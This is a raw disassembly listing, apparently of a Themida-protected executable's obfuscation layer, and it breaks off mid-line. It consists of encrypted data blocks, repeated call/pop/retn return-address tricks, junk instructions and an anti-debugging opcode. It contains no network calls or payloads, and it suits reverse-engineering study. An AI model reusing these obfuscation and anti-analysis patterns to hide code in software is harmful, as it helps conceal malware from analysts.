loc_585E66 ; --------------------------------------------------------------------------- db 0FAh dd 7692347Ch db 0E7h, 91h ; --------------------------------------------------------------------------- loc_585E66: ; CODE XREF: Themida_:00585E22j ; Themida_:00585E5Aj nop mov si, dx push eax jmp loc_585E7E ; --------------------------------------------------------------------------- dd 0D5DDBE84h, 0D8A3C5EFh, 73A36620h ; --------------------------------------------------------------------------- jmp short loc_585E08 ; --------------------------------------------------------------------------- loc_585E7E: ; CODE XREF: Themida_:00585E6Bj nop mov si, 659h loc_585E83: ; CODE XREF: Themida_:00585E2Fj jmp loc_586319 ; --------------------------------------------------------------------------- push 0 push eax call sub_585E93 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585E93 proc near ; CODE XREF: Themida_:00585E8Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_585E93 endp ; --------------------------------------------------------------------------- db 0Dh ; --------------------------------------------------------------------------- dec ebp retf ; --------------------------------------------------------------------------- dw 0E963h dd 870F7ABDh, 16h, 10E8h, 6A111A00h, 0D8EF32E0h, 763BB3CCh dd 6F53139Eh, 0B05FE2h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 58C35040h, 55173A7Dh, 20993D20h, 0C78166D1h dd 70E60E29h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 29C35545h, 853132CCh, 6A83495h, 6A71E4h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 691D84C3h, 1539BD8Bh, 0B60F06A8h, 51006AD8h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0A4968C1Eh dd 0BAF51F41h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 6CC35646h, 0C80BDA87h, 10D709D2h, 8BF78B66h, 51006AC3h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0DBF36512h, 8B0618B3h, 0A805F9BDh, 4E8C106h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 7AC35646h, 0BF0D38C4h dd 62AC177Fh, 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0CE81C356h, 89BCE59Ah dd 0A828C1BDh, 89D82B06h, 0A83189B5h, 0E9609306h, 8, 47A3DAAFh dd 99066372h, 0E9565061h, 7, 0D6AC4A06h, 5E0425ECh, 51006A93h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 94B9DD3Ah, 8166D904h, 0F8C7DFD6h, 176DB5FFh, 0BD8906A8h dd 6A81B29h, 1B3195FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8E811C3h, 12000000h dd 9851711Ch, 0F5E8D76h, 188Ch, 13E900h, 6C5E0000h, 4ADC0323h dd 0A675415Ah, 0FFD74EB5h, 5000BE51h, 0B05E63h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3BC35545h, 8BDF1DCAh dd 0A819A5BDh, 65958906h, 0E606A80Eh, 0CFF68170h, 0E4648F85h dd 0F613C71h, 22883h, 0B9B58B00h, 0F06A826h, 6AD8B6h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 664787C3h, 3EDA0068h, 0FDBD8B84h, 0BA06A810h, 6, 6E9h dd 0BD89A600h, 0E8C99A5Ah, 13h, 0C4A77263h, 76E12F17h dd 72C5DC34h, 0F9E8DC69h, 8B416102h, 0A81B19B5h, 0C38B5F06h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 79C35141h dd 9D899255h, 6A81A99h, 0B04E8C1h, 0A82619BDh, 0E2F76606h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 84C35545h dd 0BF32304Eh, 1F821874h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0A61725C3h, 0A5BD8B47h dd 5806A801h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0A9C35242h, 0A85B4148h, 0D9DC8896h, 0FD82BFAh dd 11C88h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 2DBD8BC8h, 8B06A806h, 0A832D9B5h dd 7B906h, 8B660000h, 0C183F3h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0C5C35141h, 6092A377h, 8E98503h dd 0BF0F06A8h, 0D93B61CBh, 0B7860Fh, 39BF0000h, 661F0EC5h dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 1DC4A5C3h, 0F04C1F6h, 8284h, 8E900h, 4A420000h dd 0E5B4D440h, 95FF7D16h, 6A8068Dh, 7CE78166h, 0F38B5B5Eh dd 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0FBB1DFC3h, 9FE42BFAh, 818BBF3Bh, 343D1E1Ah dd 0F000008h, 3286h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0E4A0C4A2h, 0E940D9B2h dd 11h, 0AEEE8166h, 45BD8BDAh, 8B06A80Fh, 0F0BF66C0h db 0EEh ; --------------------------------------------------------------------------- loc_586319: ; CODE XREF: Themida_:loc_585E83j mov eax, ebx mov ebx, eax push 0 push edi call sub_586328 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586328 proc near ; CODE XREF: Themida_:00586320p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_586328 endp ; --------------------------------------------------------------------------- dd 84F0BD4Fh, 9AF3EE67h, 0BE66B088h, 870FAF72h, 6, 2C45B58Bh dd 85C706A8h, 6A8251Dh, 330705DDh, 2C798D29h, 0C08B06A8h dd 176DBD81h, 7D006A8h, 850F0000h, 1Bh, 0BE9h, 81C7AA00h dd 0B95A5241h, 0AD5B68Bh, 176D85FFh, 89BF06A8h, 0FF35C8E7h dd 0A8176DB5h, 0E9FB8B06h, 5, 640012CFh, 3195FF20h, 8906A81Bh dd 0A82EB995h, 119D2906h, 9006A806h, 53006A40h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0EA9825F8h dd 817BCC00h, 2201BD83h, 0F0006A8h, 0D384h, 21B58B00h dd 8306A807h, 0A81FE5BDh, 840F0006h, 0C0h, 5F1BD03h, 95FF06A8h dd 6A82201h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0D4C35141h, 0C317B8ACh, 9D89F9FEh, 6A80C3Dh, 840FC00Bh dd 84h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h dd 0C35747h, 0F0B70F43h, 4FAF8D8Dh, 6A06A8h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0B20417C3h dd 73EFF3B9h, 8964F177h, 0A81FBD9Dh, 5B806h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 49EBC8C3h, 443050D7h, 0DCE8166h, 66E1FFD4h, 0E272D681h dd 3125BD83h, 0F0006A8h, 5AF84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 7C3AEDCh, 57C3FECDh dd 0B529764Ch, 6A81489h, 83FFBF0Fh, 0A81FE5BDh, 840F0006h dd 574h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 67C35747h, 0E98CC7EFh, 8DA6EE70h, 0A8314D8Dh, 31576006h dd 0A832A5BDh, 0E8605E06h, 0Eh, 2E624A14h, 0D4915A3Ah dd 557335D7h, 0E85AD094h, 0Ch, 7C3AEDCh, 57C3FECDh, 8AE9764Ch dd 0C761615Eh, 0B27C8401h, 0C5BD8B44h, 8106A830h, 99CFCB01h dd 0CE814h, 2F910000h, 2C1963BBh, 86C39F3Ch, 85BEE62Fh dd 5E44EB4Ch, 340441C7h, 1CE706Bh, 0A8096D85h, 4418106h dd 31D6D710h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 1DC35646h, 8B266121h, 73594925h, 58576060h, 75D8589h dd 96106A8h, 0A81B1DBDh, 6A6106h, 314D858Dh, 952906A8h dd 6A80DEDh, 0FB8B6650h, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FFCEC351h dd 0A8312595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 4F2CF271h, 314D8D8Dh dd 0B58906A8h, 6A83399h, 1C7h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E980A3C3h dd 0Dh, 2AE0D31h, 65EF7550h, 90F9F6CEh, 441C7EAh, 0 ; --------------------------------------------------------------------------- or [ebp+6A81991h], ecx and di, 3DC2h or eax, eax jz loc_5866DA push 0 push esi call sub_58668A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58668A proc near ; CODE XREF: Themida_:00586682p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_58668A endp ; --------------------------------------------------------------------------- mov eax, ds:14C98589h test al, 6 lea ecx, [ebp+6A84FAFh] push 0 push ecx call sub_5866B2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5866B2 proc near ; CODE XREF: Themida_:005866AAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5866B2 endp ; --------------------------------------------------------------------------- mov ds:2165F849h, al sbb [esi-75h], esp icebp pusha popa mov eax, 5 jmp ecx ; --------------------------------------------------------------------------- mov [ebp+6A833D1h], ecx loc_5866DA: ; CODE XREF: Themida_:00586679j lea ecx, [ebp+6A8314Dh] push 0 push ebx call sub_5866EB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5866EB proc near ; CODE XREF: Themida_:005866E3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5866EB endp ; --------------------------------------------------------------------------- db 5Fh dd 0D27F99A2h, 5D58D29h, 1C706A8h, 44AA727Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2AC35141h, 0A593C264h dd 0EC3D4573h, 0CFCB0181h, 6A1499h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 55199AC3h dd 41C760B2h, 78753C04h, 44181CEh, 31D6D710h, 14E9h, 29511000h dd 7F03F499h, 34396C1Ch, 0DDDC2C39h, 1138083Bh, 259D89F8h dd 6A06A805h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 4D858D1Fh, 5006A831h, 13E860h, 89A40000h dd 18588413h, 0C8902775h, 209670A1h, 49C398F4h, 0C78A5B1Fh dd 24048961h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 36C35545h, 0F540C054h, 312595FFh, 858906A8h, 6A809A9h dd 314D8D8Dh, 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 1C79DC3h, 0 ; --------------------------------------------------------------------------- jnp loc_586828 add [ebp+6A80E6Dh], edi loc_586828: ; CODE XREF: Themida_:0058681Cj mov dword ptr [ecx+4], 0 push 0 push ebx call sub_58683A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58683A proc near ; CODE XREF: Themida_:00586832p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_58683A endp ; --------------------------------------------------------------------------- mov bl, 0E3h mov dword ptr [eax-1Ah], 63DA751h or eax, eax jz loc_58689D mov [ebp+6A83279h], esi lea ecx, [ebp+6A84FAFh] mov edi, [ebp+6A81AA1h] mov eax, 5 push 0 push ebp call sub_58687D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58687D proc near ; CODE XREF: Themida_:00586875p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_58687D endp ; --------------------------------------------------------------------------- cld pop esp sub esi, 184B5B22h jmp ecx ; --------------------------------------------------------------------------- mov [ebp+6A822D9h], edi loc_58689D: ; CODE XREF: Themida_:00586855j lea ecx, [ebp+6A8314Dh] push 0 push ebx call sub_5868AE and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5868AE proc near ; CODE XREF: Themida_:005868A6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5868AE endp ; --------------------------------------------------------------------------- dw 284Ch ; --------------------------------------------------------------------------- fbstp tbyte ptr [edi+eax*8+1] movsd xchg eax, ebp retf 6A54h ; --------------------------------------------------------------------------- align 2 push edi call sub_5868D3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5868D3 proc near ; CODE XREF: Themida_:005868CBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5868D3 endp ; --------------------------------------------------------------------------- db 67h ; --------------------------------------------------------------------------- mov edx, 1D5FA5E7h add byte ptr [ecx-663034FFh], 14h push 0 push ebx call sub_5868FB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5868FB proc near ; CODE XREF: Themida_:005868F3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5868FB endp ; --------------------------------------------------------------------------- sub al, 88h add bl, [edx+7D4192A1h] test eax, 49BD336Eh sbb ebp, [eax+441C706h] imul ebx, [ecx+5Fh], 8D0153CEh adc eax, 5F06A82Eh add dword ptr [ecx+4], 31D6D710h push 0 lea eax, [ebp+6A8314Dh] push 0 push edi call sub_586944 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586944 proc near ; CODE XREF: Themida_:0058693Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_586944 endp ; --------------------------------------------------------------------------- das retf ; --------------------------------------------------------------------------- dw 0EE85h dd 5050B561h, 5A310F52h, 24048958h, 13E957h, 0A3850000h dd 46A0D618h, 0DF30D117h, 17F5E18Ch, 95A779B6h, 95FF5FD8h dd 6A83125h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 10C35242h, 6FEE8166h, 85B58B8Fh, 8D06A800h, 0A8314D8Dh dd 68E0F06h, 89000000h, 0A8333D8Dh, 1C706h, 0C7000000h dd 441h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 917032C3h, 0A2121192h, 0EE88Eh dd 6DD90000h, 720457ABh, 9C82F492h, 2E43030h, 30B5BD0Bh dd 0B5E06A8h, 65840FC0h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 53ECC351h dd 0F207E36h, 189h, 8D8DF500h, 6A84FAFh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 18h, 57C35545h, 849AF7EFh dd 34D58D89h, 5B806A8h, 66000000h, 8D2BCE81h, 9D89E1FFh dd 6A8025Dh, 84E9CA03h, 60FFFFF2h, 2A1D9589h, 515606A8h dd 8B615F5Fh, 0A82E41B5h, 29800F06h, 0F000000h, 485h, 79BE6600h dd 11E853B8h, 54000000h, 877FB406h, 4C2F0C37h, 0C6687C2Eh dd 420B045Eh, 800F5Eh, 5E000000h, 6AC18Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0CE8B11C3h dd 12E9BCh, 0B53E0000h, 2C977456h, 13F33D42h, 9D282A56h dd 5F2067B6h, 4EBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 2E3CCDC3h, 0EDFDEB2Ch dd 858DF578h, 6A83385h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 28C35646h, 50907B55h, 2AD68190h, 6A6E4AFDh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 75514423h, 19C8F836h, 0BF66568Bh, 6AB7F1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 22C35343h dd 60AEA514h, 0E2816656h, 8A5BBD00h, 858D61D5h, 6ABD29Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 62C35242h dd 6B8C89C7h, 0F1E794Fh, 686h, 3DBD2300h, 0F06A82Bh, 48Ch dd 83BE6600h, 5C083BCh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 4AC35141h, 8B0F6090h, 2, 66606160h, 6109C2B9h dd 0EE85061h, 0C6000000h, 8AF0A31Dh, 65CCAA8Dh, 0CBC9E4CDh dd 89905F0Fh, 0A816B5B5h, 6A006A06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 3B26C353h dd 0CC9A6FBBh, 6AF18Bh, 38C0Fh, 0B70F0000h, 4195FFF6h dd 6A06A825h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 6DEBC355h, 8B292BF5h, 0A82EDDB5h dd 39BD0106h, 8D06A806h, 0AB8C7F9Dh, 0EE816606h, 0D3FF2252h dd 85FFF28Bh, 6A833F1h, 0AF19D89h, 9EE906A8h, 0E8000007h dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6ABD2A7h mov [ebp+6A80CF9h], eax cmp dword ptr [ebp+6A8176Dh], 7D0h jbe loc_586DEF push 0 push eax call sub_586CDC and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586CDC proc near ; CODE XREF: Themida_:00586CD4p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_586CDC endp ; --------------------------------------------------------------------------- dd 0F1080A22h, 6F4817B7h, 816641C1h, 8BDDCDDFh, 0A809419Dh dd 6800F06h, 31000000h, 0A8333D85h, 0E38106h, 29000001h dd 0A81755BDh, 0FDB0B06h, 6E85h, 0E4D68100h, 8363DD4Ah dd 0ABD0E9BDh, 840F0006h, 1Eh, 0E9FB8B66h, 84h, 11E9h dd 7680CB00h, 4C14EB85h, 7B38B29Dh, 7277DEADh, 85C73333h dd 6ABD0E9h, 1, 5DE95E51h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 6CE2C356h dd 3521BD03h, 8B6606A8h, 0B98509F2h, 0C706A820h, 0ABD0E985h dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0B21E706h, 0DA4C7B69h, 45EBBF66h dd 9419D8Dh, 238106A8h, 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0C1C35040h, 0E9BD8B2Fh db 0Ah, 0A8h, 6 ; --------------------------------------------------------------------------- loc_586DEF: ; CODE XREF: Themida_:00586CCBj mov bx, ds mov [ebp+6A81DE9h], esi test bl, 4 jz loc_586E6E mov esi, edx call dword ptr [ebp+6A8068Dh] push 0 push eax call sub_586E14 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586E14 proc near ; CODE XREF: Themida_:00586E0Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_586E14 endp ; --------------------------------------------------------------------------- dd 20025E9Ch, 11E9A0h, 88D50000h, 15606CD5h, 0F512825Ah dd 226B67Ah, 50D65F18h, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 8EE2C355h dd 47D07B1Dh, 5F305159h, 3055BD8Bh ; --------------------------------------------------------------------------- test al, 6 loc_586E6E: ; CODE XREF: Themida_:00586DFBj jmp loc_587224 ; --------------------------------------------------------------------------- db 8Bh dd 6600B0FAh, 0E6468DBEh, 52006A70h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 55CBE75h, 8D896438h dd 6A82F3Dh, 816671E4h, 0F5EB9CEh, 6BAD8B6h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 9577C352h, 0A82B8E28h, 5E9F686h, 75000000h dd 6BA75F2Fh, 9529C38Bh, 6A805D5h, 0CE8h, 8E0D1100h, 22AFEB76h dd 6C0CA63Ah, 0BD9D8949h, 5E06A80Eh, 6604E8C1h, 6AE2F7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 51BCC5C3h, 7DE8803Dh, 9589D90Ah, 6A816B5h, 0D8D0Fh dd 66600000h, 7989E081h, 304D8D89h, 2B6106A8h, 57006AD8h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0C1ABA71Fh, 816691E5h, 93FAB8DEh, 2880F50h, 60000000h dd 8B505F61h, 6A93F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 24EB35C3h, 81C07615h, 0BE74C9C6h dd 0FD9D8945h, 0FF06A80Dh, 0A8176DB5h, 0EE906h, 6B3A0000h dd 64F7E94Dh, 749DC6F9h, 743A88D4h, 0F7C4CF81h, 95FF061Ah dd 6A81B31h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 33C35646h, 1A7D7823h, 0B0F553C3h, 39BD8B00h, 8B06A81Fh dd 0A81665B5h, 0E970E606h, 5, 9CDBBEDAh, 6A71E41Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 6D12C352h, 899D8976h, 0F06A81Dh, 48Dh, 11BF6600h, 0F613C5Dh dd 1E383h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0B296F2A3h, 3959DFA3h, 0FC9BD33h dd 0B60F06A8h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0B815BE19h, 6BA1D02h dd 66000000h, 5058E681h, 0BD8BC38Bh, 6A82121h, 0E2CABF66h dd 8104E8C1h, 0D2E828E7h, 0E2F76650h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0E8C35040h, 0A939AB7Fh, 1659B58Bh dd 0D82B06A8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 2CC35141h, 0B3F74E15h, 0B58B1274h, 6A82CE5h, 2F0D8589h dd 95806A8h, 0A802E1B5h, 0FD82B06h, 10F88h, 7B900h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 524181C3h, 0B68BB95Ah, 5BBE66D5h, 519D89CEh, 8306A82Bh dd 0D93B00C1h, 0D2860Fh, 8B660000h, 0D98C66FEh, 0B4BCC781h dd 0F6F8635Dh, 840F04C1h, 9Ah, 3860Fh, 0BF0F0000h, 8D95FFF7h dd 0F06A806h, 84h, 89605B00h, 0A8306195h, 919D2906h, 6106A80Bh dd 870FC32Bh, 2, 343DFB8Bh, 0F000008h, 6186h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0BF6FC62Bh, 0F725B1C1h, 66CE8150h, 0E90C4662h, 9, 9E067F6h dd 51F573D5h, 46E9D4h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 9691ECC3h, 1EF19531h dd 0C08B06A8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 6CC35242h, 0A13AAF93h ; --------------------------------------------------------------------------- loc_587224: ; CODE XREF: Themida_:loc_586E6Ej mov eax, ebx mov ebx, eax jnb loc_587234 mov esi, [ebp+6A819C5h] loc_587234: ; CODE XREF: Themida_:00587228j mov dword ptr [ebp+6A81E4Dh], 156ECB7Bh mov edi, [ebp+6A82F65h] mov eax, eax movzx edi, di cmp dword ptr [ebp+6A8176Dh], 7D0h jnz loc_5872AF push 0 push ebp call sub_587264 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587264 proc near ; CODE XREF: Themida_:0058725Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_587264 endp ; --------------------------------------------------------------------------- dd 0C81B7861h, 8323EFBFh, 1840F16h, 0F5000000h, 176D85FFh dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0B7208FC3h, 0BAA1B2FCh ; --------------------------------------------------------------------------- xchg eax, ecx mov ah, 0E0h loc_5872AF: ; CODE XREF: Themida_:00587253j push dword ptr [ebp+6A8176Dh] push 0 push ecx call sub_5872C0 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5872C0 proc near ; CODE XREF: Themida_:005872B8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5872C0 endp ; --------------------------------------------------------------------------- cmpsd les edx, [edi] and edi, 4657D15Bh push esi mov [ebp+6A806A5h], edx pop edi call dword ptr [ebp+6A81B31h] mov esi, 61348445h nop mov [ebp+6A828B1h], edi mov edi, [ebp+6A819B9h] mov [ebp+6A81B21h], edx jmp loc_587316 ; --------------------------------------------------------------------------- dd 33562A1Ch, 5EE37C57h, 2E53E41Fh, 0F8005639h db 0E2h, 53h ; --------------------------------------------------------------------------- loc_587316: ; CODE XREF: Themida_:005872FFj push ecx cmc add esi, [ebp+6A807F9h] pop edi push 0 push edi call sub_58732A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58732A proc near ; CODE XREF: Themida_:00587322p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_58732A endp ; --------------------------------------------------------------------------- dw 0BCEDh ; --------------------------------------------------------------------------- mov ecx, 3605FA95h dec eax push 0 push ebx call sub_58734D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58734D proc near ; CODE XREF: Themida_:00587345p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_58734D endp ; --------------------------------------------------------------------------- stosd das mov ch, 0Dh mov esi, edx push 0 push ebp call sub_58736E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58736E proc near ; CODE XREF: Themida_:00587366p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_58736E endp ; --------------------------------------------------------------------------- dw 0BEEh ; --------------------------------------------------------------------------- xor edi, [ebp+6A80211h] mov edi, [ebp+6A80C89h] push 0 push ebx call sub_587397 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_587397 proc near ; CODE XREF: Themida_:0058738Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_587397 endp ; --------------------------------------------------------------------------- db 19h dd 939D1F4Dh, 6856116Eh, 51A3C781h, 13E9446Dh, 0BB000000h dd 1C7007D0h, 887B356Fh, 819778Bh, 1361A4B6h, 0F681B43Ch dd 673FC9D3h, 0F319D29h, 6A06A8h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 2037FBC3h, 0C64F92CFh dd 9D894E1Bh, 6A80E45h, 1DDD8D89h, 0BD0106A8h, 6A80AC5h dd 0FFF89AE9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 82DA6C67h, 8BD22492h dd 0A80DE9B5h, 0B19D8906h, 5106A815h, 0BD89F08Bh, 6A80721h dd 56C18B5Fh, 5EF88B66h, 4EBh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A25966C3h dd 0CC551BC3h, 42BFD5BEh, 6A02BFA6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 9D68C350h dd 0FE88F876h, 0E7C01150h, 3385858Dh, 6A06A8h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 1D7B48C3h, 81BD8B46h, 3106A831h, 0A80E398Dh, 8B669006h dd 0E96050F7h, 11h, 3A125976h, 0A2DFE6B6h, 0F2378D19h dd 317A2EA2h, 6850F5Fh, 0F000000h, 85h, 6A906100h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0C080C352h, 0EE8102BCh, 6B887E81h, 9E9h, 0F215C800h dd 0FC57B3C8h, 6AF5D2h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 7AC35040h, 0A6855351h, 21DE8166h, 6A006A98h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0C521C351h, 651BD89h, 0B52306A8h, 6A8008Dh dd 7E8h, 0BF522400h, 2595528Ah, 0A3858D5Fh, 8106ABDCh dd 